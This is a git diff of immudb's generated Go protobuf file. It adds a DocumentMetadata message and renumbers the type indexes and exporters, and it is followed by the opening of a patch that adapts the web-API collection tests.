0x0b, 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, - 0x73, 0x12, 0x87, 0x01, 0x0a, 0x0e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x53, 0x65, - 0x61, 0x72, 0x63, 0x68, 0x12, 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, - 0x64, 0x65, 0x6c, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x53, 0x65, 0x61, 0x72, - 0x63, 0x68, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x24, 0x2e, 0x69, 0x6d, 0x6d, 0x75, + 0x73, 0x12, 0x87, 0x01, 0x0a, 0x0e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x55, 0x70, + 0x64, 0x61, 0x74, 0x65, 0x12, 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, + 0x64, 0x65, 0x6c, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x55, 0x70, 0x64, 0x61, + 0x74, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x24, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, - 0x74, 0x53, 0x65, 0x61, 0x72, 0x63, 0x68, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, + 0x74, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x2a, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x16, 0x22, 0x11, 0x2f, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, - 0x6e, 0x74, 0x73, 0x2f, 0x73, 0x65, 0x61, 0x72, 0x63, 0x68, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x0b, + 0x6e, 0x74, 0x73, 0x2f, 0x75, 0x70, 0x64, 0x61, 0x74, 0x65, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x0b, + 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x12, 0x87, 0x01, 0x0a, 0x0e, + 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x53, 0x65, 0x61, 0x72, 0x63, 0x68, 0x12, 0x23, + 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x44, 0x6f, + 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x53, 0x65, 0x61, 0x72, 0x63, 0x68, 0x52, 0x65, 0x71, 0x75, + 0x65, 0x73, 0x74, 0x1a, 0x24, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, + 0x65, 0x6c, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x53, 0x65, 0x61, 0x72, 0x63, + 0x68, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x2a, 0x82, 0xd3, 0xe4, 0x93, 0x02, + 0x16, 0x22, 0x11, 0x2f, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x2f, 0x73, 0x65, + 0x61, 0x72, 0x63, 0x68, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x0b, 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, + 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x12, 0x83, 0x01, 0x0a, 0x0d, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, + 0x6e, 0x74, 0x41, 0x75, 0x64, 0x69, 0x74, 0x12, 0x22, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, + 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x41, + 0x75, 0x64, 0x69, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x23, 0x2e, 0x69, 0x6d, + 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, + 0x65, 0x6e, 0x74, 0x41, 0x75, 0x64, 0x69, 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, + 0x22, 0x29, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x15, 0x22, 0x10, 0x2f, 0x64, 0x6f, 0x63, 0x75, 0x6d, + 0x65, 0x6e, 0x74, 0x73, 0x2f, 0x61, 0x75, 0x64, 0x69, 0x74, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x0b, 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x12, 0x83, 0x01, 0x0a, 0x0d, - 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x41, 0x75, 0x64, 0x69, 0x74, 0x12, 0x22, 0x2e, + 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x12, 0x22, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x44, 0x6f, 0x63, - 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x41, 0x75, 0x64, 0x69, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, + 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, - 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x41, 0x75, 0x64, 0x69, 0x74, 0x52, 0x65, + 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x29, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x15, 0x22, 0x10, - 0x2f, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x2f, 0x61, 0x75, 0x64, 0x69, 0x74, - 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x0b, 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, - 0x73, 0x12, 0x83, 0x01, 0x0a, 0x0d, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x50, 0x72, - 0x6f, 0x6f, 0x66, 0x12, 0x22, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, - 0x65, 0x6c, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x50, 0x72, 0x6f, 0x6f, 0x66, - 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, - 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x50, - 0x72, 0x6f, 0x6f, 0x66, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x29, 0x82, 0xd3, - 0xe4, 0x93, 0x02, 0x15, 0x22, 0x10, 0x2f, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, - 0x2f, 0x70, 0x72, 0x6f, 0x6f, 0x66, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x0b, 0x0a, 0x09, 0x64, 0x6f, - 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x12, 0x87, 0x01, 0x0a, 0x0e, 0x44, 0x6f, 0x63, 0x75, - 0x6d, 0x65, 0x6e, 0x74, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x12, 0x23, 0x2e, 0x69, 0x6d, 0x6d, - 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, - 0x6e, 0x74, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, - 0x24, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x44, - 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x52, 0x65, 0x73, - 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x2a, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x16, 0x1a, 0x11, 0x2f, - 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x2f, 0x64, 0x65, 0x6c, 0x65, 0x74, 0x65, + 0x2f, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x2f, 0x70, 0x72, 0x6f, 0x6f, 0x66, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x0b, 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, - 0x73, 0x42, 0xb0, 0x01, 0x5a, 0x2f, 0x67, 0x69, 0x74, 0x68, 0x75, 0x62, 0x2e, 0x63, 0x6f, 0x6d, - 0x2f, 0x63, 0x6f, 0x64, 0x65, 0x6e, 0x6f, 0x74, 0x61, 0x72, 0x79, 0x2f, 0x69, 0x6d, 0x6d, 0x75, - 0x64, 0x62, 0x2f, 0x70, 0x6b, 0x67, 0x2f, 0x61, 0x70, 0x69, 0x2f, 0x70, 0x72, 0x6f, 0x74, 0x6f, - 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x92, 0x41, 0x7c, 0x12, 0x2a, 0x0a, 0x12, 0x69, 0x6d, 0x6d, 0x75, - 0x64, 0x62, 0x20, 0x52, 0x45, 0x53, 0x54, 0x20, 0x41, 0x50, 0x49, 0x20, 0x76, 0x32, 0x12, 0x14, - 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x20, 0x53, 0x74, 0x6f, 0x72, 0x61, 0x67, 0x65, - 0x20, 0x41, 0x50, 0x49, 0x22, 0x07, 0x2f, 0x61, 0x70, 0x69, 0x2f, 0x76, 0x32, 0x5a, 0x33, 0x0a, - 0x31, 0x0a, 0x0a, 0x41, 0x70, 0x69, 0x4b, 0x65, 0x79, 0x41, 0x75, 0x74, 0x68, 0x12, 0x23, 0x08, - 0x02, 0x12, 0x12, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x20, 0x49, 0x64, 0x65, 0x6e, 0x74, - 0x69, 0x66, 0x69, 0x65, 0x72, 0x1a, 0x09, 0x73, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x69, 0x64, - 0x20, 0x02, 0x62, 0x10, 0x0a, 0x0e, 0x0a, 0x0a, 0x41, 0x70, 0x69, 0x4b, 0x65, 0x79, 0x41, 0x75, - 0x74, 0x68, 0x12, 0x00, 0x62, 0x06, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x33, + 0x73, 0x12, 0x87, 0x01, 0x0a, 0x0e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x44, 0x65, + 0x6c, 0x65, 0x74, 0x65, 0x12, 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, + 0x64, 0x65, 0x6c, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x44, 0x65, 0x6c, 0x65, + 0x74, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x24, 0x2e, 0x69, 0x6d, 0x6d, 0x75, + 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, + 0x74, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, + 0x2a, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x16, 0x1a, 0x11, 0x2f, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, + 0x6e, 0x74, 0x73, 0x2f, 0x64, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x0b, + 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x42, 0xb0, 0x01, 0x5a, 0x2f, + 0x67, 0x69, 0x74, 0x68, 0x75, 0x62, 0x2e, 0x63, 0x6f, 0x6d, 0x2f, 0x63, 0x6f, 0x64, 0x65, 0x6e, + 0x6f, 0x74, 0x61, 0x72, 0x79, 0x2f, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2f, 0x70, 0x6b, 0x67, + 0x2f, 0x61, 0x70, 0x69, 0x2f, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x92, + 0x41, 0x7c, 0x12, 0x2a, 0x0a, 0x12, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x20, 0x52, 0x45, 0x53, + 0x54, 0x20, 0x41, 0x50, 0x49, 0x20, 0x76, 0x32, 0x12, 0x14, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, + 0x6e, 0x74, 0x20, 0x53, 0x74, 0x6f, 0x72, 0x61, 0x67, 0x65, 0x20, 0x41, 0x50, 0x49, 0x22, 0x07, + 0x2f, 0x61, 0x70, 0x69, 0x2f, 0x76, 0x32, 0x5a, 0x33, 0x0a, 0x31, 0x0a, 0x0a, 0x41, 0x70, 0x69, + 0x4b, 0x65, 0x79, 0x41, 0x75, 0x74, 0x68, 0x12, 0x23, 0x08, 0x02, 0x12, 0x12, 0x53, 0x65, 0x73, + 0x73, 0x69, 0x6f, 0x6e, 0x20, 0x49, 0x64, 0x65, 0x6e, 0x74, 0x69, 0x66, 0x69, 0x65, 0x72, 0x1a, + 0x09, 0x73, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x69, 0x64, 0x20, 0x02, 0x62, 0x10, 0x0a, 0x0e, + 0x0a, 0x0a, 0x41, 0x70, 0x69, 0x4b, 0x65, 0x79, 0x41, 0x75, 0x74, 0x68, 0x12, 0x00, 0x62, 0x06, + 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x33, } var ( @@ -2495,7 +2557,7 @@ func file_documents_proto_rawDescGZIP() []byte { } var file_documents_proto_enumTypes = make([]protoimpl.EnumInfo, 2) -var file_documents_proto_msgTypes = make([]protoimpl.MessageInfo, 36) +var file_documents_proto_msgTypes = make([]protoimpl.MessageInfo, 37) var file_documents_proto_goTypes = []interface{}{ (FieldType)(0), // 0: immudb.model.FieldType (ComparisonOperator)(0), // 1: immudb.model.ComparisonOperator @@ -2529,15 +2591,16 @@ var file_documents_proto_goTypes = []interface{}{ (*OrderByClause)(nil), // 29: immudb.model.OrderByClause (*DocumentSearchResponse)(nil), // 30: immudb.model.DocumentSearchResponse (*DocumentAtRevision)(nil), // 31: immudb.model.DocumentAtRevision - (*DocumentAuditRequest)(nil), // 32: immudb.model.DocumentAuditRequest - (*DocumentAuditResponse)(nil), // 33: immudb.model.DocumentAuditResponse - (*DocumentProofRequest)(nil), // 34: immudb.model.DocumentProofRequest - (*DocumentProofResponse)(nil), // 35: immudb.model.DocumentProofResponse - (*DocumentDeleteRequest)(nil), // 36: immudb.model.DocumentDeleteRequest - (*DocumentDeleteResponse)(nil), // 37: immudb.model.DocumentDeleteResponse - (*structpb.Struct)(nil), // 38: google.protobuf.Struct - (*structpb.Value)(nil), // 39: google.protobuf.Value - (*schema.VerifiableTxV2)(nil), // 40: immudb.schema.VerifiableTxV2 + (*DocumentMetadata)(nil), // 32: immudb.model.DocumentMetadata + (*DocumentAuditRequest)(nil), // 33: immudb.model.DocumentAuditRequest + (*DocumentAuditResponse)(nil), // 34: immudb.model.DocumentAuditResponse + (*DocumentProofRequest)(nil), // 35: immudb.model.DocumentProofRequest + (*DocumentProofResponse)(nil), // 36: immudb.model.DocumentProofResponse + (*DocumentDeleteRequest)(nil), // 37: immudb.model.DocumentDeleteRequest + (*DocumentDeleteResponse)(nil), // 38: immudb.model.DocumentDeleteResponse + (*structpb.Struct)(nil), // 39: google.protobuf.Struct + (*structpb.Value)(nil), // 40: google.protobuf.Value + (*schema.VerifiableTxV2)(nil), // 41: immudb.schema.VerifiableTxV2 } var file_documents_proto_depIdxs = []int32{ 4, // 0: immudb.model.CollectionCreateRequest.fields:type_name -> immudb.model.Field @@ -2547,54 +2610,55 @@ var file_documents_proto_depIdxs = []int32{ 4, // 4: immudb.model.Collection.fields:type_name -> immudb.model.Field 5, // 5: immudb.model.Collection.indexes:type_name -> immudb.model.Index 8, // 6: immudb.model.CollectionListResponse.collections:type_name -> immudb.model.Collection - 38, // 7: immudb.model.DocumentInsertRequest.document:type_name -> google.protobuf.Struct - 38, // 8: immudb.model.DocumentInsertManyRequest.documents:type_name -> google.protobuf.Struct + 39, // 7: immudb.model.DocumentInsertRequest.document:type_name -> google.protobuf.Struct + 39, // 8: immudb.model.DocumentInsertManyRequest.documents:type_name -> google.protobuf.Struct 26, // 9: immudb.model.DocumentUpdateRequest.query:type_name -> immudb.model.Query - 38, // 10: immudb.model.DocumentUpdateRequest.document:type_name -> google.protobuf.Struct + 39, // 10: immudb.model.DocumentUpdateRequest.document:type_name -> google.protobuf.Struct 26, // 11: immudb.model.DocumentSearchRequest.query:type_name -> immudb.model.Query 27, // 12: immudb.model.Query.expressions:type_name -> immudb.model.QueryExpression 29, // 13: immudb.model.Query.orderBy:type_name -> immudb.model.OrderByClause 28, // 14: immudb.model.QueryExpression.fieldComparisons:type_name -> immudb.model.FieldComparison 1, // 15: immudb.model.FieldComparison.operator:type_name -> immudb.model.ComparisonOperator - 39, // 16: immudb.model.FieldComparison.value:type_name -> google.protobuf.Value + 40, // 16: immudb.model.FieldComparison.value:type_name -> google.protobuf.Value 31, // 17: immudb.model.DocumentSearchResponse.revisions:type_name -> immudb.model.DocumentAtRevision - 38, // 18: immudb.model.DocumentAtRevision.document:type_name -> google.protobuf.Struct - 31, // 19: immudb.model.DocumentAuditResponse.revisions:type_name -> immudb.model.DocumentAtRevision - 40, // 20: immudb.model.DocumentProofResponse.verifiableTx:type_name -> immudb.schema.VerifiableTxV2 - 26, // 21: immudb.model.DocumentDeleteRequest.query:type_name -> immudb.model.Query - 2, // 22: immudb.model.DocumentService.CollectionCreate:input_type -> immudb.model.CollectionCreateRequest - 6, // 23: immudb.model.DocumentService.CollectionGet:input_type -> immudb.model.CollectionGetRequest - 9, // 24: immudb.model.DocumentService.CollectionList:input_type -> immudb.model.CollectionListRequest - 11, // 25: immudb.model.DocumentService.CollectionDelete:input_type -> immudb.model.CollectionDeleteRequest - 13, // 26: immudb.model.DocumentService.CollectionUpdate:input_type -> immudb.model.CollectionUpdateRequest - 15, // 27: immudb.model.DocumentService.IndexCreate:input_type -> immudb.model.IndexCreateRequest - 17, // 28: immudb.model.DocumentService.IndexDelete:input_type -> immudb.model.IndexDeleteRequest - 19, // 29: immudb.model.DocumentService.DocumentInsert:input_type -> immudb.model.DocumentInsertRequest - 21, // 30: immudb.model.DocumentService.DocumentInsertMany:input_type -> immudb.model.DocumentInsertManyRequest - 23, // 31: immudb.model.DocumentService.DocumentUpdate:input_type -> immudb.model.DocumentUpdateRequest - 25, // 32: immudb.model.DocumentService.DocumentSearch:input_type -> immudb.model.DocumentSearchRequest - 32, // 33: immudb.model.DocumentService.DocumentAudit:input_type -> immudb.model.DocumentAuditRequest - 34, // 34: immudb.model.DocumentService.DocumentProof:input_type -> immudb.model.DocumentProofRequest - 36, // 35: immudb.model.DocumentService.DocumentDelete:input_type -> immudb.model.DocumentDeleteRequest - 3, // 36: immudb.model.DocumentService.CollectionCreate:output_type -> immudb.model.CollectionCreateResponse - 7, // 37: immudb.model.DocumentService.CollectionGet:output_type -> immudb.model.CollectionGetResponse - 10, // 38: immudb.model.DocumentService.CollectionList:output_type -> immudb.model.CollectionListResponse - 12, // 39: immudb.model.DocumentService.CollectionDelete:output_type -> immudb.model.CollectionDeleteResponse - 14, // 40: immudb.model.DocumentService.CollectionUpdate:output_type -> immudb.model.CollectionUpdateResponse - 16, // 41: immudb.model.DocumentService.IndexCreate:output_type -> immudb.model.IndexCreateResponse - 18, // 42: immudb.model.DocumentService.IndexDelete:output_type -> immudb.model.IndexDeleteResponse - 20, // 43: immudb.model.DocumentService.DocumentInsert:output_type -> immudb.model.DocumentInsertResponse - 22, // 44: immudb.model.DocumentService.DocumentInsertMany:output_type -> immudb.model.DocumentInsertManyResponse - 24, // 45: immudb.model.DocumentService.DocumentUpdate:output_type -> immudb.model.DocumentUpdateResponse - 30, // 46: immudb.model.DocumentService.DocumentSearch:output_type -> immudb.model.DocumentSearchResponse - 33, // 47: immudb.model.DocumentService.DocumentAudit:output_type -> immudb.model.DocumentAuditResponse - 35, // 48: immudb.model.DocumentService.DocumentProof:output_type -> immudb.model.DocumentProofResponse - 37, // 49: immudb.model.DocumentService.DocumentDelete:output_type -> immudb.model.DocumentDeleteResponse - 36, // [36:50] is the sub-list for method output_type - 22, // [22:36] is the sub-list for method input_type - 22, // [22:22] is the sub-list for extension type_name - 22, // [22:22] is the sub-list for extension extendee - 0, // [0:22] is the sub-list for field type_name + 32, // 18: immudb.model.DocumentAtRevision.metadata:type_name -> immudb.model.DocumentMetadata + 39, // 19: immudb.model.DocumentAtRevision.document:type_name -> google.protobuf.Struct + 31, // 20: immudb.model.DocumentAuditResponse.revisions:type_name -> immudb.model.DocumentAtRevision + 41, // 21: immudb.model.DocumentProofResponse.verifiableTx:type_name -> immudb.schema.VerifiableTxV2 + 26, // 22: immudb.model.DocumentDeleteRequest.query:type_name -> immudb.model.Query + 2, // 23: immudb.model.DocumentService.CollectionCreate:input_type -> immudb.model.CollectionCreateRequest + 6, // 24: immudb.model.DocumentService.CollectionGet:input_type -> immudb.model.CollectionGetRequest + 9, // 25: immudb.model.DocumentService.CollectionList:input_type -> immudb.model.CollectionListRequest + 11, // 26: immudb.model.DocumentService.CollectionDelete:input_type -> immudb.model.CollectionDeleteRequest + 13, // 27: immudb.model.DocumentService.CollectionUpdate:input_type -> immudb.model.CollectionUpdateRequest + 15, // 28: immudb.model.DocumentService.IndexCreate:input_type -> immudb.model.IndexCreateRequest + 17, // 29: immudb.model.DocumentService.IndexDelete:input_type -> immudb.model.IndexDeleteRequest + 19, // 30: immudb.model.DocumentService.DocumentInsert:input_type -> immudb.model.DocumentInsertRequest + 21, // 31: immudb.model.DocumentService.DocumentInsertMany:input_type -> immudb.model.DocumentInsertManyRequest + 23, // 32: immudb.model.DocumentService.DocumentUpdate:input_type -> immudb.model.DocumentUpdateRequest + 25, // 33: immudb.model.DocumentService.DocumentSearch:input_type -> immudb.model.DocumentSearchRequest + 33, // 34: immudb.model.DocumentService.DocumentAudit:input_type -> immudb.model.DocumentAuditRequest + 35, // 35: immudb.model.DocumentService.DocumentProof:input_type -> immudb.model.DocumentProofRequest + 37, // 36: immudb.model.DocumentService.DocumentDelete:input_type -> immudb.model.DocumentDeleteRequest + 3, // 37: immudb.model.DocumentService.CollectionCreate:output_type -> immudb.model.CollectionCreateResponse + 7, // 38: immudb.model.DocumentService.CollectionGet:output_type -> immudb.model.CollectionGetResponse + 10, // 39: immudb.model.DocumentService.CollectionList:output_type -> immudb.model.CollectionListResponse + 12, // 40: immudb.model.DocumentService.CollectionDelete:output_type -> immudb.model.CollectionDeleteResponse + 14, // 41: immudb.model.DocumentService.CollectionUpdate:output_type -> immudb.model.CollectionUpdateResponse + 16, // 42: immudb.model.DocumentService.IndexCreate:output_type -> immudb.model.IndexCreateResponse + 18, // 43: immudb.model.DocumentService.IndexDelete:output_type -> immudb.model.IndexDeleteResponse + 20, // 44: immudb.model.DocumentService.DocumentInsert:output_type -> immudb.model.DocumentInsertResponse + 22, // 45: immudb.model.DocumentService.DocumentInsertMany:output_type -> immudb.model.DocumentInsertManyResponse + 24, // 46: immudb.model.DocumentService.DocumentUpdate:output_type -> immudb.model.DocumentUpdateResponse + 30, // 47: immudb.model.DocumentService.DocumentSearch:output_type -> immudb.model.DocumentSearchResponse + 34, // 48: immudb.model.DocumentService.DocumentAudit:output_type -> immudb.model.DocumentAuditResponse + 36, // 49: immudb.model.DocumentService.DocumentProof:output_type -> immudb.model.DocumentProofResponse + 38, // 50: immudb.model.DocumentService.DocumentDelete:output_type -> immudb.model.DocumentDeleteResponse + 37, // [37:51] is the sub-list for method output_type + 23, // [23:37] is the sub-list for method input_type + 23, // [23:23] is the sub-list for extension type_name + 23, // [23:23] is the sub-list for extension extendee + 0, // [0:23] is the sub-list for field type_name } func init() { file_documents_proto_init() } @@ -2964,7 +3028,7 @@ func file_documents_proto_init() { } } file_documents_proto_msgTypes[30].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*DocumentAuditRequest); i { + switch v := v.(*DocumentMetadata); i { case 0: return &v.state case 1: @@ -2976,7 +3040,7 @@ func file_documents_proto_init() { } } file_documents_proto_msgTypes[31].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*DocumentAuditResponse); i { + switch v := v.(*DocumentAuditRequest); i { case 0: return &v.state case 1: @@ -2988,7 +3052,7 @@ func file_documents_proto_init() { } } file_documents_proto_msgTypes[32].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*DocumentProofRequest); i { + switch v := v.(*DocumentAuditResponse); i { case 0: return &v.state case 1: @@ -3000,7 +3064,7 @@ func file_documents_proto_init() { } } file_documents_proto_msgTypes[33].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*DocumentProofResponse); i { + switch v := v.(*DocumentProofRequest); i { case 0: return &v.state case 1: @@ -3012,7 +3076,7 @@ func file_documents_proto_init() { } } file_documents_proto_msgTypes[34].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*DocumentDeleteRequest); i { + switch v := v.(*DocumentProofResponse); i { case 0: return &v.state case 1: @@ -3024,6 +3088,18 @@ func file_documents_proto_init() { } } file_documents_proto_msgTypes[35].Exporter = func(v interface{}, i int) interface{} { + switch v := v.(*DocumentDeleteRequest); i { + case 0: + return &v.state + case 1: + return &v.sizeCache + case 2: + return &v.unknownFields + default: + return nil + } + } + file_documents_proto_msgTypes[36].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*DocumentDeleteResponse); i { case 0: return &v.state @@ -3042,7 +3118,7 @@ func file_documents_proto_init() { GoPackagePath: reflect.TypeOf(x{}).PkgPath(), RawDescriptor: file_documents_proto_rawDesc, NumEnums: 2, - NumMessages: 36, + NumMessages: 37, NumExtensions: 0, NumServices: 1, }, From 6fc6eb620cddbac35d028fda52f0285f74c393b3 Mon Sep 17 00:00:00 2001 From: Marco Sanchotene Date: Fri, 5 May 2023 08:43:50 -0300 Subject: [PATCH 0524/1062] test(web-api): adapt tests to new specification Signed-off-by: Marco Sanchotene --- .../actions/create_collections.go | 216 +++++++------ .../actions/{login.go => session.go} | 2 +- .../create_collections_test.go | 289 ++++++++++++++++++ .../delete_collections_test.go | 49 +-- .../documents_tests/go.mod | 31 +- .../documents_tests/go.sum | 86 ++++++ 6 files changed, 535 insertions(+), 138 deletions(-) rename test/document_storage_tests/documents_tests/actions/{login.go => session.go} (95%) create mode 100644 test/document_storage_tests/documents_tests/create_collections_test.go diff --git a/test/document_storage_tests/documents_tests/actions/create_collections.go b/test/document_storage_tests/documents_tests/actions/create_collections.go index 83f5d18ba8..b5bd3894db 100644 --- a/test/document_storage_tests/documents_tests/actions/create_collections.go +++ b/test/document_storage_tests/documents_tests/actions/create_collections.go @@ -17,132 +17,156 @@ limitations under the License. package actions import ( - "encoding/json" "net/http" "github.com/gavv/httpexpect/v2" ) -func CreateCollectionWithName(expect *httpexpect.Expect, token string, name string) *httpexpect.Object { - payloadModel := `{ - "name": "string" - }` - var payload map[string]interface{} - json.Unmarshal([]byte(payloadModel), &payload) - payload["name"] = name - - expect.PUT("/collections/create"). - WithHeader("grpc-metadata-sessionid", token). 